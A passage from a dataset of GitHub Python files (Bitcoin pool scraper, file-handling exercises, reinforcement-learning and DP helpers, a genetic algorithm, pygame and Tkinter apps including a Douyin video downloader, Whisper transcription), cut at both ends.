OP_CHECKSIG\",\n                            \"hex\": \"4104678afdb0fe5548271967f1a67130b7105cd6a828e03909a67962e0ea1f61deb649f6bc3f4cef38c4f35504e51ec112de5c384df7ba0b8d578a4c702b6bf11d5fac\",\n                            \"reqSigs\": 1,\n                            \"type\": \"pubkey\",\n                            \"addresses\": [\n                                    \"1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa\"\n                            ]\n                        }\n                    }\n                ]\n            }\n\n        return coinbase_tx[\"vin\"][0][\"coinbase\"].decode(\"hex\")\n\n    def save_coinbase_tx_data(self):\n\n        # Check if data has already been saved\n        try:\n            self.load_coinbase_tx_data()\n            coinbase_data = self.df['coinbase_tx_data'].tolist()\n            start = len(coinbase_data)\n        # Could not load data\n        except(IOError):\n            start = 0\n            coinbase_data = []\n\n        max_block_height = self.rpc_connection.getblockcount()\n\n        # for i in range(start, max_block_height):\n        for i in range(start, start + 300):\n            try:\n                coinbase_data.append([self.extract_coinbase_data(i)])\n            except(JSONRPCException):\n                print(\"Could not find coinbase transaction for block %i\" % (i))\n                coinbase_data.append([None])\n\n        df = pd.DataFrame(coinbase_data)\n        df.to_csv(self.data_root_path + \"/coinbase_tx_data.txt\")\n\n    def load_coinbase_tx_data(self):\n\n        self.df = pd.read_csv(self.data_root_path + \"/coinbase_tx_data.txt\")\n        self.df.columns = [\"block_height\", \"coinbase_tx_data\"]\n\n    def scrape_db_for_matches(self, pools):\n\n        pool_strings = set(pools.values())\n        pool_counts = pools\n        for pool_name in pools.keys():\n            pool_counts[pool_name] = 0\n\n        self.load_coinbase_tx_data()\n\n        for string in self.df['coinbase_tx_data']:\n            for target in pool_strings:\n                try:\n                    match = re.search(target, string)\n                    if match:\n                        for pool_name in pools.keys():\n                            if pools[pool_name] == target:\n                                pool_counts[pool_name] += 1\n                # No identifying string for pool\n                except(TypeError):\n                    pass\n\n        return pool_counts\n\n        # Identifiable string segments used by each pool:\nPOOLS = {\"BTC.com\": \"BTC.COM\",\n         \"F2Pool\": \"🐟 Mined \",\n         \"AntPool\": \"AntPool\",\n         \"BW Pool\": \"BW.COM\",\n         \"BitClub\": \"BitClub\",\n         \"BTC.top\": \"BTC.TOP\",\n         \"ViaBTC\": \"ViaBTC\",\n         \"Canoe\": \"canoepool\",\n         \"Slush Pool\": \"slush\",\n         \"BTCC\": \"BTCC\",\n                 \"BitFury\": \"Bitfury\",\n                 \"Dpool\": \"DPOOL.TOP\",\n                 \"58coin\": \"58coin.com/\",\n                 \"Kano CKPool\": \"KanoPool\",\n                 \"HaoPool\": None,\n                 \"BitcoinIndia\": None,\n                 \"1Hash\": None,\n                 \"GBMiners\": None,\n                 \"ConnectBTC\": None,\n                 \"Bitcoin.com\": None,\n                 \"Other\": None}\n","repo_name":"JSwambo/ConsensusCentralisationModel","sub_path":"btcrpc.py","file_name":"btcrpc.py","file_ext":"py","file_size_in_byte":5211,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"}
{"seq_id":"16600760230","text":"# OPENING FILE IN WRITE MODE\nimport sys\nimport os\nf = open(\"sample.txt\", \"w\")\nprint(f.name)\nprint(f.mode)\nprint(f.encoding)\nstr = input(\"enter text:\")\nf.write(str)\nf.close()\nprint(f.closed)\n\n# OPENING FILE IN APPEND MODE\nf = open(\"sample.txt\", \"a\")\nstr = input(\"enter text:\")\nf.write(str)\n\n# OPENING FILE IN READ MODE\nf = open(\"sample.txt\", \"r\")\nstr1 = f.read()\nprint(str1)\n\n\n# STORE GROUP OF STRINGS INTO A FILE\nf = open(\"sample.txt\", \"w\")\n# create text file and write @ in text file after 3 lines\nprint(\"Enter text (@ at end):\")\nwhile str != '@':\n    str = input()   # accept strings from user\n    if (str != '@'):\n        f.write(str+\"\\n\")\nf.close()\n\n\n# READ ALL STRINGS FROM ABOVE FILE\nf = open(\"sample.txt\", \"r\")\nstr1 = f.read()\nprint(str1)\nf.close()\n\n# APPEND DATA TO EXISTING FILE\n\nf = open(\"sample.txt\", \"a+\")\n# create text file and write @ in text file after 3 lines\nprint(\"Enter text to append (@ at end):\")\nwhile str != '@':\n    str = input()   # accept strings from user\n    if (str != '@'):\n        f.write(str+\"\\n\")\n\nf.seek(0, 0)  # seek(offset,fromwhere) offset means how many bytes to move ,\n# fromwhere means from which position to move(0- beginning,1-from current,2-from end of file)\nprint(\"THE CONTENTS OF FILE ARE:\")\nstr = f.read()\nprint(str)\nf.close()\n\n\n# CHECK IF FILE EXISTS OR NOT\n\nfname = input(\"enter file name:\")  # give full path of file stored\n\nif os.path.isfile(fname):\n    f = open(fname, 'r')\nelse:\n    print(fname+'does not exist')\n    sys.exit()\n\nstr = f.read()\nprint(str)\nf.close()\n\n# CHECK IF PATH EXISTS OR NOT\n# Specify path\npath = 'E:/PYTHON'\n\n# Check whether the specified exists or not\nisExist = os.path.exists(path)\nprint(isExist)\n\n\n# Specify path\npath = 'E:/sample.txt'\n\n# Check whether the specified path exists or not\nisExist = os.path.exists(path)\nprint(isExist)\n\n\n# COUNTING LINES,WORDS AND CHARACTERS IN A FILE\n\nfname = input(\"enter file name:\")  # give full path of file stored\n\nif os.path.isfile(fname):\n    f = open(fname, 'r')\nelse:\n    print(fname+'does not exist')\n    sys.exit()\n\ncl = cw = cc = 0  # initialize the counter for lines,words and characters to 0\nfor line in f:\n    words = line.split()\n    cl = cl+1\n    cw = cw + len(words)\n    cc = cc+len(line)\n\nprint(\"No of lines\", cl)\nprint(\"No of words\", cw)\nprint(\"No of characters\", cc)\n\n# COPY THE CONTENTS OF ONE FILE TO ANOTHER FILE\n\n# open both files\n# create 1.txt and 2.txt with some contents and check 2.txt after execution\nwith open('1.txt', 'r') as file1, open('E:/2.txt', 'a') as file2:\n    for line in file1:     # read content from first file\n        file2.write(line)  # append content to second file\n\nwith open('1.txt', 'r') as file1, open('E:/2.txt', 'w') as file2:\n    for line in file1:     # read content from first file\n        file2.write(line)  # append content to second file","repo_name":"praveetgupta/college-codes","sub_path":"Windows/SY - Sem 1/Python/Experiment 12/a.py","file_name":"a.py","file_ext":"py","file_size_in_byte":2806,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"6965578445","text":"import torch\n\ndef discount(vals, discount_term):\n    n = vals.size(0)\n    disc_pows = torch.pow(discount_term, torch.arange(n).float()).to(vals.device)\n    reverse_indxs = torch.arange(n - 1, -1, -1)\n\n    discounted = torch.cumsum((vals * disc_pows)[reverse_indxs], dim=-1)[reverse_indxs] / disc_pows\n\n    return discounted\n\ndef compute_advs(actual_vals, exp_vals, discount_term, bias_red_param):\n    exp_vals_next = torch.cat([exp_vals[1:], torch.tensor([0.0]).to(exp_vals.device)])\n    td_res = actual_vals + discount_term * exp_vals_next - exp_vals\n    advs = discount(td_res, discount_term * bias_red_param)\n\n    return advs","repo_name":"Usaywook/gin","sub_path":"utils/gae.py","file_name":"gae.py","file_ext":"py","file_size_in_byte":628,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"38"}
{"seq_id":"7536170484","text":"#Jen Johnson\n#CSCI321\n#Problem 2 manhattan\n\nimport sys\nimport numpy as np\n\ndef manhattan(n, m, down, right):\n    \"uses DP tabulation approach to find the longest path through the city\"\n\n    #initialize array to hold max weight path up to that location\n    maxLenArray = np.zeros((n+1, m+1), dtype=np.int)\n\n    #base cases\n    for i in range(1, n+1):\n        maxLenArray[i][0]=maxLenArray[i-1][0]+down[i-1][0]\n    for j in range(1, m+1):\n        maxLenArray[0][j]=maxLenArray[0][j-1]+right[0][j-1]\n\n    #fill the rest of the cells\n    for j in range(1, m+1):\n         for i in range(1, n+1):\n             maxLenArray[i][j]=max( maxLenArray[i-1][j] + down[i-1][j], maxLenArray[i][j-1] + right[i][j-1])\n\n    return maxLenArray[n][m]\n\ndef main():\n    \"reads input file-->data, calls manhattan on the input arrays, and writes output file\"\n    f= open(\"manhattanInput.txt\")\n    sizesStr = f.next()\n    sizes = sizesStr.split()\n    n = int(sizes[0])\n    m = int(sizes[1])\n\n    #initialize down array\n    down = np.zeros((n, m+1), dtype=np.int)\n\n    #fill down array\n    for row in range (0, n):\n        rowString = f.next()\n        rowList = rowString.split()\n        down[row] = [int(i) for i in rowList]\n\n    #arrays separated by a -\n    x = f.next()\n\n    #initialize right array\n    right = np.zeros((n+1, m), dtype=np.int)\n\n    #fill right array\n    for col in range (0, n+1):\n        colString = f.next()\n        colList = colString.split()\n        right[col] = [int(i) for i in colList]\n\n    result = manhattan(n, m, down, right)\n\n    file = open(\"manhattanOutput.txt\", \"w\")\n    file.write(str(result))\n    file.close()\n\nif __name__==\"__main__\":\n    main()\n","repo_name":"jenjohnson7/CSCI321Chp3-4-5","sub_path":"CSCI321Chp5/manhattan.py","file_name":"manhattan.py","file_ext":"py","file_size_in_byte":1656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"35421493181","text":"import random as rd\n\nclass Genome:\n    def __init__(self, length: int, mutation_probability=0.1, list_genome=None,fitness_value=0):\n        '''\n        Creates a list of 1's and 0's of the specified length\n        '''\n        self.length = length\n        self.genome = rd.choices([0, 1], k=self.length)\n        self.mutation_probability = mutation_probability\n        if list_genome is not None:\n            self.genome = list_genome\n        self.fitness_value=fitness_value\n\n    def __str__(self):\n        return \"\".join(map(str, self.genome))\n\n    def mutation(self):\n        '''\n        Modify the genome\n        '''\n        index = rd.randrange(self.length)\n        self.genome[index] = abs(self.genome[index] - 1) if rd.random() < self.mutation_probability else self.genome[index]\n\n    def __add__(self, genome):\n        '''\n        Implemetation of crossover function\n        '''\n        position = rd.randint(1, self.length-1)\n        return (Genome(self.length, list_genome=self.genome[0:position] + genome.genome[position:]),\n                Genome(self.length, list_genome=genome.genome[0:position] + self.genome[position:]))\n\n\nclass Population:\n    def __init__(self, population_size, genome_size):\n        self.population_size = population_size\n        self.genome_size = genome_size\n        self.population = [Genome(length=genome_size)\n                           for i in range(population_size)]\n        self.fitness_values = [0 for i in range(population_size)]\n        self.parents = [None, None]\n        self.generation_number=1\n\n    def __str__(self):\n        return \", \".join(map(str, self.population))\n\n    def fitness(self,ratings):\n        '''\n        Takes a fitness function and calculates the fitness value \n        for the genomes according to the fitness function\n        '''\n        for i, genome in enumerate(self.population):\n            self.fitness_values[i] = ratings[i]\n            genome.fitness_value=ratings[i]\n\n    def fitness_value(self,genome:Genome):\n        return genome.fitness_value\n    \n    def parent_selection(self):\n        '''\n        Choose parents from the population\n        based on the fitness functoin\n        '''\n        self.parents = rd.choices(\n            population=self.population,\n            weights=self.fitness_values,\n            k=2\n        )\n\n    def sort_population(self):\n        '''\n        Sort population based on fitness value\n        '''\n        self.population.sort(key=self.fitness_value, reverse=True)\n        self.fitness_values.sort(reverse=True)\n\n    def move_generation(self, debug=True):\n        self.sort_population()\n        if debug:\n            for p in self.population:\n                print(p, end=\" \")\n            print(f\"\\nFitness Values: {self.fitness_values}\")\n        next_generation = self.population[:2]\n\n        for i in range(self.population_size // 2 ):\n            self.parent_selection()\n            if debug:\n                print(self.parents[0], self.parents[1])\n            offsprings = self.parents[0] + self.parents[1]\n            offsprings[1].mutation(), offsprings[0].mutation()\n            next_generation += [offsprings[0], offsprings[1]]\n\n        self.population = next_generation\n        self.population=self.population[:self.population_size]\n        self.generation_number+=1","repo_name":"PrabigyaAcharya/Avritti","sub_path":"genetic_backbone.py","file_name":"genetic_backbone.py","file_ext":"py","file_size_in_byte":3291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"35770854181","text":"import pygame,sys\nfrom pygame.locals import *\npygame.init()     # 初始化模块\npath = \"VipCode\\Class\\Python\\LCP_VipCode__Pygame\"\nclass Money():\n    def __init__(self):\n        self.x=10\n        self.y=10\n        self.image=img\n    def move(self):\n        # 下方两个参数同时使用就是斜向移动\n        self.y+=1  # 纵向移动\n        # self.x+=1  # 横向移动\n        screen.blit(self.image,[self.x,self.y])\n\n# pygame.init()\nscreen=pygame.display.set_mode([650,365])\npygame.display.set_caption(\"游戏小窗口\")\nbackground = pygame.image.load(path+r'\\image\\background.jpg')\nimg = pygame.image.load(path+r'\\image\\mayun.png')\nmoney1=Money()\n\nwhile True:\n    for event in pygame.event.get():\n        if event.type == QUIT:\n            sys.exit()\n    screen.blit(background,[0,0])\n    money1.move()\n    pygame.time.delay(100)\n    pygame.display.flip()\n","repo_name":"18265742937/P2_Class","sub_path":"VipCode/Class/Python/LCP_VipCode__Pygame/U1/class3/class3.py","file_name":"class3.py","file_ext":"py","file_size_in_byte":868,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"9158434073","text":"# -*- coding:utf-8 -*-\n# @FileName  :52pojieUI_douyin.py\n# @AuThor    :neteast@52pojie\n\nimport os\nimport re\nimport subprocess\nimport threading\nimport time\nimport tkinter as tk\nimport tkinter.font as tkFont\nimport warnings\nfrom datetime import datetime\n\nimport requests\n\nLOG_LINE_NUM = 0\n\n\nclass App:\n    def __init__(self, root):\n        self.test = False\n        self.initUi(root)\n        self.initData()\n        self.testData()\n\n    def testData(self):\n        if (self.test):\n            self.GLineEdit_332.insert(0, '2p5EEc9')  # 2sWmMkb\n            self.GButton_333['state'] = 'active'\n\n    def initData(self):\n\n        self.nickname = '未找到该ID用户或者暂未发布作品'\n        self.status_download = True\n        self.tag = 'odd'\n        self.session = requests.Session()\n        self.session.headers.update({\n            'User-Agent': \"Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1C28 Safari/419.3\"})\n        self.starurl = None\n        self.baseurl = 'https://v.douyin.com/'\n        self.baseinfo = 'https://www.iesdouyin.com/web/api/v2/user/info/?'\n        self.userinfourl = None\n\n    def initUi(self, root):\n        # setting title\n        root.title(\"DYDownloader neteast@52pojie\")\n        # setting window size\n        width = 897\n        height = 533\n        screenwidth = root.winfo_screenwidth()\n        screenheight = root.winfo_screenheight()\n        alignstr = '%dx%d+%d+%d' % (width, height, (screenwidth - width) / 2, (screenheight - height) / 2)\n        root.geometry(alignstr)\n        root.resizable(width=False, height=False)\n\n        ft = tkFont.Font(family='宋体', size=10)\n        GLabel_515 = tk.Label(root)\n        GLabel_515[\"font\"] = ft\n        GLabel_515[\"justify\"] = \"center\"\n        GLabel_515[\"text\"] = \"作者ID\"\n        GLabel_515.place(x=20, y=10, width=47, height=30)\n\n        self.GLineEdit_508 = tk.Entry(root)\n        self.GLineEdit_508[\"borderwidth\"] = \"1px\"\n        self.GLineEdit_508[\"justify\"] = \"center\"\n        self.GLineEdit_508[\"text\"] = \"path\"\n        self.GLineEdit_508['state'] = 'readonly'\n        self.GLineEdit_508.place(x=90, y=50, width=610, height=30)\n\n        self.GLineEdit_332 = tk.Entry(root)\n        self.GLineEdit_332[\"borderwidth\"] = \"1px\"\n        self.GLineEdit_332[\"justify\"] = \"center\"\n        self.GLineEdit_332[\"text\"] = \"url\"\n        self.GLineEdit_332.place(x=90, y=10, width=231, height=30)\n\n        self.GButton_333 = tk.Button(root)\n        self.GButton_333[\"justify\"] = \"center\"\n        self.GButton_333[\"text\"] = \"开始下载\"\n        self.GButton_333.place(x=710, y=50, width=90, height=30)\n        self.GButton_333['state'] = 'disable'\n        self.GButton_333[\"command\"] = self.GButton_333_command\n\n        ft2 = tkFont.Font(family='宋体', size=12)\n        self.GLineEdit_428 = tk.Text(root)\n        self.GLineEdit_428[\"borderwidth\"] = \"1px\"\n        self.GLineEdit_428[\"font\"] = ft2\n        self.GLineEdit_428.place(x=10, y=90, width=881, height=427)\n\n        self.GButton_676 = tk.Button(root)\n        self.GButton_676[\"font\"] = ft\n        self.GButton_676[\"justify\"] = \"center\"\n        self.GButton_676[\"text\"] = \"停止下载\"\n        self.GButton_676['state'] = 'disable'\n        self.GButton_676.place(x=810, y=50, width=74, height=30)\n        self.GButton_676[\"command\"] = self.GButton_676_command\n\n        GButton_701 = tk.Button(root)\n        GButton_701[\"font\"] = ft\n        GButton_701[\"justify\"] = \"center\"\n        GButton_701[\"text\"] = \"获取信息\"\n        GButton_701.place(x=330, y=10, width=70, height=30)\n        GButton_701[\"command\"] = self.GButton_701_command\n\n        GLabel_100 = tk.Label(root)\n        GLabel_100[\"font\"] = ft\n        GLabel_100[\"justify\"] = \"center\"\n        GLabel_100[\"text\"] = \"昵称\"\n        GLabel_100.place(x=410, y=10, width=43, height=30)\n\n        GLabel_1 = tk.Label(root)\n        GLabel_1[\"font\"] = ft\n        GLabel_1[\"justify\"] = \"center\"\n        GLabel_1[\"text\"] = \"条作品\"\n        GLabel_1.place(x=790, y=10, width=76, height=30)\n\n        self.GLineEdit_690 = tk.Entry(root)\n        self.GLineEdit_690[\"borderwidth\"] = \"1px\"\n        self.GLineEdit_690[\"font\"] = ft\n        self.GLineEdit_690[\"justify\"] = \"center\"\n        self.GLineEdit_690[\"text\"] = \"条作品\"\n        self.GLineEdit_690['state'] = 'readonly'\n        self.GLineEdit_690.place(x=710, y=10, width=90, height=30)\n\n        self.GLineEdit_281 = tk.Entry(root)\n        self.GLineEdit_281[\"borderwidth\"] = \"1px\"\n        self.GLineEdit_281[\"font\"] = ft\n        self.GLineEdit_281[\"fg\"] = \"#333333\"\n        self.GLineEdit_281[\"justify\"] = \"center\"\n        self.GLineEdit_281[\"text\"] = \"昵称\"\n        self.GLineEdit_281['state'] = 'readonly'\n        self.GLineEdit_281.place(x=460, y=10, width=240, height=31)\n\n        GButton_55 = tk.Button(root)\n        GButton_55[\"bg\"] = \"#efefef\"\n        GButton_55[\"font\"] = ft\n        GButton_55[\"fg\"] = \"#000000\"\n        GButton_55[\"justify\"] = \"center\"\n        GButton_55[\"text\"] = \"保存路径\"\n        GButton_55[\"relief\"] = \"groove\"\n        GButton_55.place(x=10, y=50, width=70, height=30)\n        GButton_55[\"command\"] = self.GButton_55_command\n\n    def GButton_55_command(self):  # 打开文件夹\n        path = self.GLineEdit_508.get()\n        if path:\n            self.open_fp(path)\n\n    def GButton_701_command(self):  # 获取信息\n        authorId = self.GLineEdit_332.get()\n        self.status_download = True\n        if authorId:\n            self.starurl = self.baseurl + authorId\n\n            self._log(f'{\"-\" * 20}开始查询，请稍等{\"-\" * 20}')\n            obj1 = threading.Thread(target=self.analysis, args=({False}))\n            obj1.setDaemon(True)\n            obj1.start()\n        else:\n            self._log(\"请输入作者ID\")\n\n    def GButton_676_command(self):  # 停止下载\n        self.status_download = False\n        self.GButton_676['state'] = 'disable'\n\n    def GButton_333_command(self):  # 开始下载\n        self.status_download = True\n        authorId = self.GLineEdit_332.get()\n        if authorId:\n            self.starurl = self.baseurl + authorId\n            self._log(f'{\"-\" * 20}准备下载，请稍等{\"-\" * 20}')\n            self.GButton_333['state'] = 'disable'\n            self.GButton_676['state'] = 'active'\n            self.pcursor = ''\n            obj1 = threading.Thread(target=self.analysis, args=({True}))\n            obj1.setDaemon(True)\n            obj1.start()\n        else:\n            self._log(\"请输入作者ID\")\n\n    def analysis(self, flag):\n        req = self._requests('get', self.starurl, decode_level=3)\n        sp = req.url.split('?')\n        if len(sp) == 2:\n            param = sp[1]\n        else:\n            self._log(f'{\"-\" * 20}获取数据失败,请检查主播ID是否正确{\"-\" * 20}')\n            return\n        self.userinfourl = self.baseinfo + param\n        userinfo = self._requests('get', self.userinfourl, decode_level=2)\n        self.nickname = userinfo['user_info']['nickname']\n        aweme_count = userinfo['user_info']['aweme_count']\n        if not flag:\n            self._log(f'{\"-\" * 20}查询完成！{\"-\" * 20}')\n            filepath = os.getcwd() + '\\\\' + 'dydownloads' + '\\\\' + self.nickname\n            self.GLineEdit_690['state'] = 'normal'\n            self.GLineEdit_281['state'] = 'normal'\n            self.GLineEdit_508['state'] = 'normal'\n            self.GLineEdit_508.delete(0, 'end')\n            self.GLineEdit_281.delete(0, 'end')\n            self.GLineEdit_690.delete(0, 'end')\n            self.GLineEdit_690.insert(0, f'{aweme_count}')\n            self.GLineEdit_281.insert(0, f'{self.nickname}')\n            self.GLineEdit_508.insert(0, f'{filepath}')\n            self.GLineEdit_690['state'] = 'readonly'\n            self.GLineEdit_281['state'] = 'readonly'\n            self.GLineEdit_508['state'] = 'readonly'\n            self.GButton_333['state'] = 'active'\n        else:\n            self._log(f'{\"-\" * 20}开始下载{\"-\" * 20}')\n            max_cursor = 0\n            video_has_more = True\n            icount = 0;\n            while video_has_more and self.status_download:\n                json_url = f'https://www.iesdouyin.com/web/api/v2/aweme/post/?{param}&' \\\n                           f'count=21&max_cursor={max_cursor}'\n                req = self._requests('get', json_url, decode_level=2)\n                video_has_more = req['has_more']\n                max_cursor = req['max_cursor']\n                video_list = req['aweme_list']\n                for video in video_list:\n                    if not self.status_download:\n                        self._log(f'{\"-\" * 20}已停止下载video!{\"-\" * 20}')\n                        break\n                    icount += 1\n                    self.download_video(video, icount)\n            self._log(f'{\"-\" * 20}全部{aweme_count}个视频已下载完成{icount}个!{\"-\" * 20}')\n\n    def download_video(self, video, num=0):\n        try:\n            filepath = os.getcwd() + '/' + 'dydownloads' + '/' + self.nickname\n            caption = video['desc']  # title\n            vid = video['video']['vid']  # video link\n            caption = re.sub('[ \\\\/:*?\"<>|\\n\\t]', '', caption)\n            likeCount = video['statistics']['digg_count']\n            comment_count = video['statistics']['comment_count']\n            caption = caption[:40] if len(caption) > 40 else caption\n            self._log(f'{num:0>3d}{caption} {comment_count}评论 {likeCount}人点赞')\n            caption = caption[:28] if len(caption) > 28 else caption\n            if caption:\n                download_url = f'https://aweme.snssdk.com/aweme/v1/play/?video_id={video[\"video\"][\"vid\"]}&ratio=1080p'\n                video_data = self._requests('get', download_url, decode_level=3).content\n                self.save_video(os.path.normpath(filepath),\n                                f'{num:0>3d}_' + caption + '_' + video[\"video\"][\"vid\"] + '.mp4', video_data,\n                                download_url)\n        except Exception as e:\n            print(e)\n            self._log(f'获取数据失败,请检查主播ID是否正确,也可能cookies已过期!')\n\n    def save_video(self, path, filename, video_data, url):\n        if not os.path.exists(path):\n            os.makedirs(path)\n        with open(os.path.normpath(os.path.join(path, filename)), 'wb') as f:\n            f.write(video_data)\n            now_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n            self._log(f'  状态:[下载完成]')\n\n    def open_fp(self, fp):\n        \"\"\"\n        打开文件或文件夹\n        :param fp: 需要打开的文件或文件夹路径\n        \"\"\"\n        import platform\n        systemType: str = platform.platform()  # 获取系统类型\n        if 'mac' in systemType:  # 判断以下当前系统类型\n            fp: str = fp.replace(\"\\\\\", \"/\")  # mac系统下,遇到`\\\\`让路径打不开,不清楚为什么哈,觉得没必要的话自己可以删掉啦,18行那条也是\n            subprocess.call([\"open\", fp])\n        else:\n            fp: str = fp.replace(\"/\", \"\\\\\")  # win系统下,有时`/`让路径打不开\n            try:\n                os.startfile(fp)\n            except:\n                self._log(f'{\"-\" * 20}文件还未下载{\"-\" * 20}')\n\n    def _requests(self, method, url, decode_level=1, retry=0, timeout=15, **kwargs):\n        if method in [\"get\", \"post\"]:\n            for _ in range(retry + 1):\n                try:\n                    warnings.filterwarnings('ignore')\n                    response = getattr(self.session, method)(url, timeout=timeout, verify=False, **kwargs)\n                    return response.text if decode_level == 1 else response.json() if decode_level == 2 else response\n                except Exception as e:\n                    self._log(e)\n\n        return None\n\n    def _log(self, logmsg):\n        global LOG_LINE_NUM\n        current_time = self.get_current_time()\n        logmsg_in = str(current_time) + \" \" + str(logmsg) + \"\\n\"  # 换行\n        self.GLineEdit_428.tag_config(\"even\", background='#e0e0e0')\n        self.GLineEdit_428.tag_config(\"odd\", background='#ffffff')\n        self.tag = 'odd' if self.tag == 'even' else 'even'\n        if LOG_LINE_NUM <= 22:\n\n            self.GLineEdit_428.insert('end', logmsg_in, self.tag)\n            LOG_LINE_NUM = LOG_LINE_NUM + 1\n        else:\n            self.GLineEdit_428.delete(1.0, 2.0)\n            self.GLineEdit_428.insert('end', logmsg_in, self.tag)\n\n    def get_current_time(self):\n        current_time = time.strftime('%H:%M:%S', time.localtime(time.time()))\n        return current_time\n\n\nif __name__ == \"__main__\":\n    root = tk.Tk()\n    app = App(root)\n    root.mainloop()","repo_name":"jiangnanqw12/testCode","sub_path":"005_video_process/video_download/douyin.py","file_name":"douyin.py","file_ext":"py","file_size_in_byte":12657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"22984001206","text":"def verlaat_ploeg(deelnemer, ploeg, woordenboek):\n    woordenboek[ploeg].remove(deelnemer)\n    if not woordenboek[ploeg]:\n        del woordenboek[ploeg]\n    return woordenboek\n\ndef vervoegt_ploeg(naam, ploeg, deelnemers):\n    if not ploeg in deelnemers:\n        deelnemers[ploeg] = []\n    if not naam in deelnemers[ploeg]:\n        deelnemers[ploeg].append(naam)\n    return deelnemers\n","repo_name":"VerstraeteBert/algos-ds","sub_path":"test/vraag4/src/quiz/231.py","file_name":"231.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"nl","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"14990268088","text":"\"\"\"\nimport whisper\n\nmodel = whisper.load_model(\"base\")\nresult = model.transcribe(\"y2mate.bz - Jeff Bezos on colonizing the Moon _ Lex Fridman Podcast Clips.mp4\")\n\nwith open(\"transcription.txt\",\"w\") as f:\n    f.write(result[\"text\"])\n\n#139 mb model\n\"\"\"\n\nimport whisper\n\nmodel = whisper.load_model(\"base\")\n\n# Check if language identification is supported by the model\nif hasattr(model, 'detect_language'):\n    # load audio and pad/trim it to fit 30 seconds\n    audio = whisper.load_audio(\"output_005.mp3\")\n    audio = whisper.pad_or_trim(audio)\n\n    # make log-Mel spectrogram and move to the same device as the model\n    mel = whisper.log_mel_spectrogram(audio).to(model.device)\n\n    # Check if language identification is supported by the model\n    if hasattr(model, 'detect_language'):\n        # detect the spoken language\n        _, probs = model.detect_language(mel)\n        print(f\"Detected language: {max(probs, key=probs.get)}\")\n    else:\n        print(\"Language identification is not supported by this model.\")\n\n    fp16 = False\n    # decode the audio\n    options = whisper.DecodingOptions(fp16 = False,language=\"english\")\n    result = whisper.decode(model, mel, options)\n\n    # print the recognized text\n    print(result.text)\nelse:\n    print(\"Language identification is not supported by this model.\")\n","repo_name":"Oushesh/llm_rust_django_backend","sub_path":"scripts/speech2text.py","file_name":"speech2text.py","file_ext":"py","file_size_in_byte":1308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"30998086862","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat May  6 19:57:49 2017\n\n@author: zhangchi\n\"\"\"\n\nclass Solution(object):\n    def canCompleteCircuit(self, gas, cost):\n        \"\"\"\n        :type gas: List[int]\n        :type cost: List[int]\n        :rtype: int\n        \"\"\"\n        if len(gas) == 0:\n            return 0\n        dif = []\n        for a,b in zip(gas,cost):\n            dif.append(a-b)\n        for i in range(len(dif)):\n            if dif[i] >= 0:\n                temp = 0\n                label = True\n                for item in dif[i:] + dif[:i]:\n                    temp += item\n                    if temp < 0:\n                        label = False\n                        break\n                if label == True:\n                    return i\n        return -1","repo_name":"zhangchizju2012/LeetCode","sub_path":"134.py","file_name":"134.py","file_ext":"py","file_size_in_byte":786,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"38"}
{"seq_id":"75190800111","text":"import tkinter as tk\nfrom tkinter import ttk\nfrom app.gui.config import Config\nfrom app.gui.filter_popup import FilterPopUp\n\n\nclass FilterFrame(Config):\n    def __init__(self, set_frame, pd, master, filters):\n        super().__init__()\n\n        # binds each filter to an integer key\n        self.filt_dict = {}\n\n        # header and frame widgets\n        self.filt_frame = ttk.Frame(set_frame, style=\"inner2.TFrame\")\n        self.filt_frame.grid(column=0, row=4, columnspan=5, sticky=\"w\", padx=0)\n        self.filt_heading_label = ttk.Label(\n            self.filt_frame,\n            text=\"Filters\",\n            style=\"sub2.TLabel\",\n            padding=[pd, pd, pd, pd],\n        )\n        self.filt_heading_label.grid(row=0, column=0, pady=pd, sticky=\"w\")\n\n        #'none' checkbutton\n        def n_cbutton():\n            if self.filt_n_var.get():\n                self.enact_filter(\"on\", \"index > 1\", \"N\", filters)\n            else:\n                self.enact_filter(\"off\", \"index > 1\", \"N\", filters)\n            if self.filt_n_var.get():\n                self.custom_filter_button.config(state=\"disabled\")\n            else:\n                self.custom_filter_button.config(state=\"normal\")\n\n        self.filt_n_var = tk.IntVar()\n        self.filt_n_cbutton = ttk.Checkbutton(\n            self.filt_frame,\n            text=\" None\",\n            style=\"filters.TCheckbutton\",\n            variable=self.filt_n_var,\n            command=n_cbutton,\n        )\n        self.filt_n_cbutton.grid(row=1, column=0, padx=pd * 3, sticky=\"w\")\n        self.filt_dict[1] = self.filt_n_cbutton\n\n        #'just emojis' checkbutton\n        def je_cbutton():\n            if self.filt_je_var.get():\n                self.enact_filter(\"on\", \"index != 2\", \"JE\", filters)\n            else:\n                self.enact_filter(\"off\", \"index != 2\", \"JE\", filters)\n\n        self.filt_je_var = tk.IntVar()\n        self.filt_je_cbutton = ttk.Checkbutton(\n            self.filt_frame,\n            text=\" Just emojis\",\n            style=\"filters.TCheckbutton\",\n            variable=self.filt_je_var,\n            command=je_cbutton,\n        )\n        self.filt_je_cbutton.grid(row=1, column=1, padx=pd * 3, sticky=\"w\")\n        self.filt_dict[2] = self.filt_je_cbutton\n\n        #'no emojis' checkbutton\n        def ne_cbutton():\n            if self.filt_ne_var.get():\n                self.enact_filter(\"on\", \"index <= 2\", \"NE\", filters)\n            else:\n                self.enact_filter(\"off\", \"index <= 2\", 